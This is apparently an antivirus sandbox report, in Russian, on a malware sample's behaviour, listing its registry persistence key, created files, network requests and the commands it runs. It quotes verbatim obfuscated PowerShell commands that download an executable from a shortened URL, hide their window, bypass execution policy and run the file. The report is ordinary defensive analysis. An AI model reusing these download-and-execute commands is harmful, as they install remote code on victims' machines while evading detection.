Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'centen' = '%TEMP%\unsubjec\Unpleach.vbs'
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c power^shell -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"('https://tinyurl.com/y2egsnod','su.exe')
- '<SYSTEM32>\cmd.exe' /c power^shell -w 1 stARt`-slE`Ep 20; Move-Item "su.exe" -Destination "${enV`:appdata}"
- '<SYSTEM32>\cmd.exe' /c power^shell -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/su.exe')
Внедряет код в
следующие пользовательские процессы:
- su.exe
Изменения в файловой системе
Создает следующие файлы
- <Текущая директория>\c4901000
- %HOMEPATH%\documents\su.exe
- %TEMP%\unsubjec\unpleach.exe
- %TEMP%\unsubjec\unpleach.vbs
Перемещает следующие файлы
- %HOMEPATH%\documents\su.exe в %APPDATA%\su.exe
Подменяет следующие файлы
- <PATH_SAMPLE>.xls
Самоудаляется.
Сетевая активность
TCP
Запросы HTTP GET
- http://18#.#9.8.108/tapide001.exe
- http://18#.#9.8.108/johnnyn.bin
UDP
- DNS ASK ti##url.com
- DNS ASK co####studys.com
Другое
Создает и запускает на исполнение
- '%APPDATA%\su.exe'
- '<SYSTEM32>\cmd.exe' /c power^shell -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"('https://tinyurl.com/y2egsnod','su.exe')' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c power^shell -w 1 stARt`-slE`Ep 20; Move-Item "su.exe" -Destination "${enV`:appdata}"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c power^shell -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/su.exe')' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"('https://tinyurl.com/y2egsnod','su.exe')
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/su.exe')
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 stARt`-slE`Ep 20; Move-Item "su.exe" -Destination "${enV`:appdata}"
